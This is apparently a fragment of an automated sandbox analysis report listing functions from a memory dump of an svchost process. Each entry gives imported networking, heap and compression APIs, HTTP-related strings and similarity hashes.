free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5588871
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5588888
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55888A0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55888B8
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA558897E

Strings

application/octet-stream, xrefs: 00007FFDA5588970
k, xrefs: 00007FFDA5588A11

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$_strdup
String ID: application/octet-stream$k
API String ID: 2653869212-2522224428
Opcode ID: 7e9c4b969ef8d293e174c56025b9b73a82eff97ca4d88b718424fc2538e9700c
Instruction ID: 0f710e4f64b94309f1682c5123cf6a78986ca9b8e8ed2602e6db9460691cb887
Opcode Fuzzy Hash: 7e9c4b969ef8d293e174c56025b9b73a82eff97ca4d88b718424fc2538e9700c
Instruction Fuzzy Hash: 63B16E7AB0AB4995EB6A8F15D46033927A1EB46F98F5809B4CE9C073D6DF3CD841D308

Function 00007FFDA5588726 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 222COMMON

Download Yara Rule

Strings

application/octet-stream, xrefs: 00007FFDA5588970
k, xrefs: 00007FFDA5588A11

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID:
String ID: application/octet-stream$k
API String ID: 0-2522224428
Opcode ID: ba0641887a76c748bcb6e38eaa71c167e20de8602d7cceee5f9270d3bdd708fa
Instruction ID: 7350470a1cb77d7d89d41be09449eeb500adefba43f40e0233d63f9f9fc2afac
Opcode Fuzzy Hash: ba0641887a76c748bcb6e38eaa71c167e20de8602d7cceee5f9270d3bdd708fa
Instruction Fuzzy Hash: 4CA16E7AB0AB4995EB6A8F15946032827E1FB46F98F5809B4CE9D073D6DF3CD841D308

Function 00007FFDA55886CA Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 220COMMON

Download Yara Rule

Strings

application/octet-stream, xrefs: 00007FFDA5588970
k, xrefs: 00007FFDA5588A11

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID:
String ID: application/octet-stream$k
API String ID: 0-2522224428
Opcode ID: 3b37e7022defceadeff34084eb6a48a0daac0f8275bd3d1c27efead74be8efdc
Instruction ID: 3f02b0d9e0c91225b734b32272870ef522805bae53ba3073e4348bcf9539a2fb
Opcode Fuzzy Hash: 3b37e7022defceadeff34084eb6a48a0daac0f8275bd3d1c27efead74be8efdc
Instruction Fuzzy Hash: 14A15E7AB0AB4995EB6A8F15946032823E1EB46F58F580AB4CE9D077D6DF3CD841D308

Function 00007FFDA55887E9 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 219COMMON

Download Yara Rule

Strings

application/octet-stream, xrefs: 00007FFDA5588970
k, xrefs: 00007FFDA5588A11

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID:
String ID: application/octet-stream$k
API String ID: 0-2522224428
Opcode ID: 6deba298d6cd6c49c7c3245b1ac95cae2971440002267693c2592f4b961341f3
Instruction ID: 02d1b3218d2795662393898720a0d6c97bbef31d69b05c07c18c064e5c871790
Opcode Fuzzy Hash: 6deba298d6cd6c49c7c3245b1ac95cae2971440002267693c2592f4b961341f3
Instruction Fuzzy Hash: 1CA16D7AB0AB4995EB6A8F15D46032823A1FB46F58F580AB4CE9D077D6DF3CD841D308

Function 00007FFDA55B1541 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116COMMON

Download Yara Rule

Strings

SESS, xrefs: 00007FFDA55B158E
FLUSH, xrefs: 00007FFDA55B15CF
ALL, xrefs: 00007FFDA55B154D
RELOAD, xrefs: 00007FFDA55B15F1
Set-Cookie:, xrefs: 00007FFDA55B167D

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free
String ID: ALL$FLUSH$RELOAD$SESS$Set-Cookie:
API String ID: 1294909896-1147549499
Opcode ID: b210a9faa6451965c232b38086ed7f33c4090e639266d07f48b4962e36949d2c
Instruction ID: e8be085f19cd671efd887cbfa42a57c8833585d4908b9582a20687fa2b752af8
Opcode Fuzzy Hash: b210a9faa6451965c232b38086ed7f33c4090e639266d07f48b4962e36949d2c
Instruction Fuzzy Hash: 2A418119B0E61A41FE1AEF26A53937A1291AF87FC0F454131E90E07BD7EF2CE4028309

Function 00007FFDA55C1760 Relevance: 13.8, APIs: 11, Instructions: 64COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C1788
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C17A2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C17B6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C17CA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C17DE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C17F2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C1806
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C181A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C182E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C184B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C1876

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0e340849c521c2b7505d7d747180e8081549875e4a4220a0cde0145afa1cd23e
Instruction ID: 0b40b70570ebefc000bf4132c996001ce32c9b2637a478c89a1d138842a8f2b2
Opcode Fuzzy Hash: 0e340849c521c2b7505d7d747180e8081549875e4a4220a0cde0145afa1cd23e
Instruction Fuzzy Hash: D331B73AB4AB84A6E74E9F25EA642A9B374F785F50F480025DB6D03752CF38E474C354

Function 00007FFDA55AE560 Relevance: 13.7, APIs: 9, Instructions: 247networksleepCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32 ref: 00007FFDA55AE5C8
WSASetLastError.WS2_32 ref: 00007FFDA55AE769
WSASetLastError.WS2_32 ref: 00007FFDA55AE7A8
Sleep.KERNEL32 ref: 00007FFDA55AE7C1
select.WS2_32 ref: 00007FFDA55AE814
WSAGetLastError.WS2_32 ref: 00007FFDA55AE829
__WSAFDIsSet.WS2_32 ref: 00007FFDA55AE8A2
__WSAFDIsSet.WS2_32 ref: 00007FFDA55AE8C0
Sleep.KERNEL32 ref: 00007FFDA55AE90F

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: ErrorLast$Sleep$select
String ID:
API String ID: 2442476585-0
Opcode ID: 0844dcefc245e9baac62046afd1de4330d4d8e678802450620b30691e6808a79
Instruction ID: 7d37fc44148af442d5128b50c0378d28762ec8914c418466bc2a3575b398c31b
Opcode Fuzzy Hash: 0844dcefc245e9baac62046afd1de4330d4d8e678802450620b30691e6808a79
Instruction Fuzzy Hash: 03A1DA2AB0A6CA86EB6B4F16D4283792295FF46F64F104A34DB19577C6DF3ED940C308

Function 64945710 Relevance: 13.6, APIs: 9, Instructions: 123COMMON

Download Yara Rule

APIs

GetHandleInformation.KERNEL32 ref: 64945758
SetEvent.KERNEL32 ref: 649457B9

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: EventHandleInformation
String ID:
API String ID: 943243487-0
Opcode ID: 0abebdb6bbe18b6591d2f169ee2d49ccc49482f9618223d758f2abb39a9272bf
Instruction ID: c02d53f5b47e4eab209d974f5deb7cec8a0e804993d913822503880e7c3ff0c7
Opcode Fuzzy Hash: 0abebdb6bbe18b6591d2f169ee2d49ccc49482f9618223d758f2abb39a9272bf
Instruction Fuzzy Hash: 1C41B232682640CAEB55CF75D8003696B65EB86FBCF144225CF2E8B395EF39C145C710

Function 649447F0 Relevance: 13.6, APIs: 9, Instructions: 100COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 64944829
CloseHandle.KERNEL32 ref: 64944861
CloseHandle.KERNEL32 ref: 6494486C
TlsSetValue.KERNEL32 ref: 649448A6
RemoveVectoredExceptionHandler.KERNEL32 ref: 649448D0

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: CloseHandleValue$ExceptionHandlerRemoveVectored
String ID:
API String ID: 2941551293-0
Opcode ID: 41f481ae3904839b845b6b966e47d7c0d9084ec4171bca2e1ba02052f09d8d33
Instruction ID: 9b255bf73e60d4f51aa72ff79eaf3e3afad282202bf316635f7d93ce8b392ba6
Opcode Fuzzy Hash: 41f481ae3904839b845b6b966e47d7c0d9084ec4171bca2e1ba02052f09d8d33
Instruction Fuzzy Hash: C441B0353D664086FB09DFB0F86036933AAFB85B6CF454525CE0A42794EF39C495CB61

Function 00007FFDA55935C7 Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 87COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5593671
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5593773
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55937EF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA559382C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5593883
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55938E4
SimpleString::operator=.MSOBJ140-MSVCRT ref: 00007FFDA5593FBA

Strings

Accept-Encoding: %s, xrefs: 00007FFDA55937FC
Referer: %s, xrefs: 00007FFDA55937AD
Referer, xrefs: 00007FFDA5593792
Accept-Encoding, xrefs: 00007FFDA55937CB
%s?%s, xrefs: 00007FFDA5593601
POST, xrefs: 00007FFDA55935C7

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$SimpleString::operator=
String ID: %s?%s$Accept-Encoding$Accept-Encoding: %s$POST$Referer$Referer: %s
API String ID: 1621822926-997604947
Opcode ID: 0bd4f664914ea9e259e362c462dbc4fc26b2cf6bed79ad440f1911dc47278712
Instruction ID: 55a9274f9ea94a82eef0cf54563bafaf8ac64d69eee2f891381becbd56646adc
Opcode Fuzzy Hash: 0bd4f664914ea9e259e362c462dbc4fc26b2cf6bed79ad440f1911dc47278712
Instruction Fuzzy Hash: 3F411F7AB0AB8AC4EB53CF65E4243F926A4AB46F84F490035DE4D46396EF3CE454C718

Function 00007FFDA55935D0 Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 87COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5593671
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5593773
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55937EF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA559382C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5593883
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55938E4
SimpleString::operator=.MSOBJ140-MSVCRT ref: 00007FFDA5593FBA

Strings

Accept-Encoding: %s, xrefs: 00007FFDA55937FC
Referer: %s, xrefs: 00007FFDA55937AD
Referer, xrefs: 00007FFDA5593792
Accept-Encoding, xrefs: 00007FFDA55937CB
%s?%s, xrefs: 00007FFDA5593601
PUT, xrefs: 00007FFDA55935D0

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$SimpleString::operator=
String ID: %s?%s$Accept-Encoding$Accept-Encoding: %s$PUT$Referer$Referer: %s
API String ID: 1621822926-4091559278
Opcode ID: 06650fabf6b7c7465f164727abdc3be3143b4a5b302dd84c1aaa45273212e9e0
Instruction ID: d9445e052c0c644838c5f98c46fef8a41cb76fa7d2784c68bc4761aba9eab924
Opcode Fuzzy Hash: 06650fabf6b7c7465f164727abdc3be3143b4a5b302dd84c1aaa45273212e9e0
Instruction Fuzzy Hash: B6411E7AB0AB8AC4EB538F65E4243F926A4AB46F84F490035DE4D46396EF3CE454C718

Function 64944560 Relevance: 13.6, APIs: 9, Instructions: 74COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6494457C

Part of subcall function 649444D0: __iob_func.MSVCRT ref: 64944501

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: Value__iob_func
String ID:
API String ID: 2820842585-0
Opcode ID: 0546eda2f010a2ff3f3b1f8a39091f3d6a25e4e9caee43d900f00acf19f6acdb
Instruction ID: 16148a25f4b476eea67aa2965a04ab47484b3a23098f2b50d2a6f1ecfa518ab3
Opcode Fuzzy Hash: 0546eda2f010a2ff3f3b1f8a39091f3d6a25e4e9caee43d900f00acf19f6acdb
Instruction Fuzzy Hash: 62316F716916408BFB259F71F80835B77A5F709BA8F140229CEAA477A0DF3DD059CB20

Function 00007FFDA5587600 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 260COMMON

Download Yara Rule

APIs

_fstat64.API-MS-WIN-CRT-FILESYSTEM-L1-1-0 ref: 00007FFDA5587669

Part of subcall function 00007FFDA5587C20: strchr.VCRUNTIME140 ref: 00007FFDA5587C4F

Strings

failed to resume file:// transfer, xrefs: 00007FFDA55878BA
Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT%s, xrefs: 00007FFDA55877F4
ytes, xrefs: 00007FFDA55876CE
Content-Length: %lld, xrefs: 00007FFDA5587704
Can't get the size of file., xrefs: 00007FFDA5587861

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: _fstat64strchr
String ID: Can't get the size of file.$Content-Length: %lld$Last-Modified: %s, %02d %s %4d %02d:%02d:%02d GMT%s$failed to resume file:// transfer$ytes
API String ID: 2257945287-3101949335
Opcode ID: afacff5949dba494b15f094d390e0d3cf13b30e035ac943e2aad6cb6084ab8c4
Instruction ID: 513f0cff8f5de9d757c9a790e3ba4f6e5ace7405cf94049dce7e45d8ce7e82bc
Opcode Fuzzy Hash: afacff5949dba494b15f094d390e0d3cf13b30e035ac943e2aad6cb6084ab8c4
Instruction Fuzzy Hash: DEB1D12AB1A68A85FB12CF6598203FD27A1EB46F94F440031DE4D47B96EF3DE941D704

Function 00007FFDA55BC800 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 116networkCOMMON

Download Yara Rule

APIs

htons.WS2_32 ref: 00007FFDA55BC877
htons.WS2_32 ref: 00007FFDA55BC88F
send.WS2_32 ref: 00007FFDA55BC937
WSAGetLastError.WS2_32 ref: 00007FFDA55BC94B
send.WS2_32 ref: 00007FFDA55BC98F
WSAGetLastError.WS2_32 ref: 00007FFDA55BC999

Strings

Sending data failed (%d), xrefs: 00007FFDA55BC951, 00007FFDA55BC99F

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: ErrorLasthtonssend
String ID: Sending data failed (%d)
API String ID: 2027122571-2319402659
Opcode ID: c12e462eca2e6c078f13945e67d4fb94a9b87ce196abfb17e36915c96fb93957
Instruction ID: 27d861c683718b7f4893d4e79c0a0dd929ad06a064c03f13300d7fb6ffef760f
Opcode Fuzzy Hash: c12e462eca2e6c078f13945e67d4fb94a9b87ce196abfb17e36915c96fb93957
Instruction Fuzzy Hash: 4441C237B05A8A80EB029F75E428BA92720F756F99F444532EF5907796DF7CD0458309

Function 00007FFDA557C800 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

zlibVersion.ZLIB1 ref: 00007FFDA557C82B
inflateInit2_.ZLIB1 ref: 00007FFDA557C872
inflateInit2_.ZLIB1 ref: 00007FFDA557C888

Strings

Error while processing content unencoding: %s, xrefs: 00007FFDA557C89E
1.3.1, xrefs: 00007FFDA557C860
1.2.0.4, xrefs: 00007FFDA557C834
Error while processing content unencoding: Unknown failure within decompression software., xrefs: 00007FFDA557C8BF

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: Init2_inflate$Versionzlib
String ID: 1.2.0.4$1.3.1$Error while processing content unencoding: %s$Error while processing content unencoding: Unknown failure within decompression software.
API String ID: 302536580-782595508
Opcode ID: 5e8faf5ed2759c0201d2404577fbf2c9aece4fef74bc6189fcbe6ee69d6734c5
Instruction ID: 8e6ec54ad24276e079b6e52cc9e7ae003515ec36b11970b16cfca9bc64ef4590
Opcode Fuzzy Hash: 5e8faf5ed2759c0201d2404577fbf2c9aece4fef74bc6189fcbe6ee69d6734c5
Instruction Fuzzy Hash: D421C16BB1DA8682E7528F25F4203693760FB46F80F844532DA4E43B57DF2CE485C708

Function 64941EA0 Relevance: 12.2, APIs: 8, Instructions: 187synchronizationCOMMON

Download Yara Rule

APIs

WaitForMultipleObjects.KERNEL32 ref: 64941EE9
WaitForSingleObject.KERNEL32 ref: 64941F23
WaitForSingleObject.KERNEL32(?,?,?,?,?,00000070,00007FFDB43BF230,00007FFDB43BFAA0,00000068,?,649421DE,?,?,6494246F), ref: 64941F82
WaitForSingleObject.KERNEL32(?,?,?,?,?,00000070,00007FFDB43BF230,00007FFDB43BFAA0,00000068,?,649421DE,?,?,6494246F), ref: 6494209A
ResetEvent.KERNEL32 ref: 649420FD

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

